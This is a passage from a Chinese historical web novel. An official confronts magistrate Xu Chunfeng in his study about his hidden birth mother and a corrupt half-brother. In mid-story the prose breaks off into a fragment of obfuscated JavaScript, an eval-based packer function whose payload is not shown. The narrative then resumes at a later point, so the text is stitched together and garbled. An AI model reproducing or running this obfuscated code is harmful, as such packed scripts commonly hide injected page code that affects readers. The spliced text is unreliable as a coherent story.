他在云州乃孤家寡人,每日回家便直奔书房,因而下人都会提前在书房中备好茶水和家常衣物。 这日的书房也是如常亮灯,可他越走近,却越觉得哪里不对。消失的门房,空无一人的庭院,以及每日在书房外提灯等候却唯独今日消失的书童…… 他缓缓停步,弯腰从靴筒中抽出一把匕首,悄步靠近房门,趴在门缝处,试图觑看内里情形。 可不及视线清晰,突然房门哗啦一声大开,从里头闪出个满面胡须的脑袋。 “哟,徐大人回来了!” 徐醇风被吓得心惊肉跳,手中匕首掉到地上发出清脆一声,他颤声:“裘、裘校尉?” 裘明弯腰拾起地上的匕首,举在眼前正反一看:“好刀啊,只是徐大人回自己的家,手里拿刀作甚?” 徐醇风面露尴尬,忙赔笑道:“误会误会,下官回家见院子里一个人都没有,还以为出什么事儿了,恐怕遭贼,所以才搁出匕首防身自保。” “让徐大人受惊了,”这时从裘明身后闪出一道颀长清俊的身影,正是方湛,他温笑道,“本官冒然造访,不曾提前知会,倒引起误会了。” 徐醇风自然惶恐下拜:“哪里哪里,是下官不知大人光临寒舍,有失远迎、有失远迎。” 裘明将其虚扶着:“徐大人在自己家中,不必如此客气,外头天寒,赶紧进屋落座说话。” 徐醇风只得入内,进门就见管家曹叔、家中侍从俱在,几人都垂头站在角落里不敢乱看。而门边则左右侍立着两名佩刀玄英卫,金漆刀鞘在幽暗中泛着肃杀冷光,叫他不由庆幸方才不曾持刀冒然闯入。 二人落座。徐醇风硬着头皮问道:“不知大人入夜造访是为何事?” 方湛看了眼裘明,后者立时挥手,将闲杂人谴出屋外。 方湛慢条斯理地品茶,茶盖与杯盏在他手中发出清越响声。“顾渚紫笋,产自湖州的上好贡茶,我记得上京有几位大人颇爱此茶。” 徐醇风立即堆笑:“大人若喜欢,下官明日叫管家给您送些去,下官乃湖州人,每年回家省亲都会带几包茶回来,得来还算容易。” 方湛却不说好,也不说拒绝,只随意问道:“徐大人在云州做官也有许多年了吧?” “回大人,十年有余。” “本朝有规定,地方官员三年一考,九年一调,根据考绩或升或降,或依繁依简,互换其官。过去十年,云州知府都换了三任,徐大人却在这一个地方待如此之久,不得不叫人好奇缘由。” 徐醇风双手一拱:“下官惶恐,无能拙钝,政绩平庸,幸得圣恩守一方十数年,遂亦恬然。” “是吗?”方湛语气轻飘,“我还以为,徐大人一直待在云州不走,是因为此地有你难以割舍之人呢。” 徐醇风勉强笑了一声:“大人说笑,下官在云州孤身一人,妻子常年留守湖州老家侍奉双亲,含辛茹苦,下官可不敢再有旁的牵挂之人。” 方湛无视他的顾左右而言他:“哦?徐大人的双亲在湖州?” “正是。” “那便奇怪了,住在云州胥宁坊双花胡同的尤老太太又是谁?” 此问令徐醇风脸色大变,好在他一直垂首答话,神情不曾落于方湛眼中,便强装镇定道:“此人下官不曾听说。” 方湛转面看了他一眼,笑道:“不要紧,但我想有一个故事,你或许听说过。” 他搁下茶盏,缓缓开口讲述:“话说某地有一大户人家,家中正妻出身高门、强势专横,自己多年无所出,仍禁止丈夫纳妾。丈夫某次宠幸了一名婢女,使其有孕,他怕此事被妻子发现,便将婢女偷偷带出府,养在别院。随后婢女产下一子,养到五岁上时,正妻才发现此事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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徐醇风低了低头,话已至此,也没有必要再装下去了。他抬手用衣袖拭去泪痕,恭然一揖:“大人恕罪,是下官失态了。不过是一桩无关紧要的陈年旧事罢了,方大人日理万机,不会是专门来此打探私人过往的吧?” “我倒是没这个癖好,”方湛笑道,“不过既然徐大人都爽快承认了,那我也就不绕弯子了。方才的故事中,那个命苦的妇人正是你的亲生母亲尤老太太,而她二次嫁人后所生的孩子,就是你同母异父的弟弟尤谨。” 见徐醇风默然听着,并不反驳,他继续道:“若我没猜错,你与母亲相认后,不仅接济供养她,还帮弟弟尤谨在叶阳县谋下胥吏一职。” “尤谨对你这个天降的哥哥甚是感激,从小因为没爹而备受欺负的他,突然有了给自己撑腰的手足,自然万分欢喜。只是他秉性贪财好利,并没有好好珍惜这个为公门效力的机会,反而徇私弄权,甚至眼红攀附矿监的好处,不顾你的劝阻,整日与刘百盛、张金龙等人结交苟混。”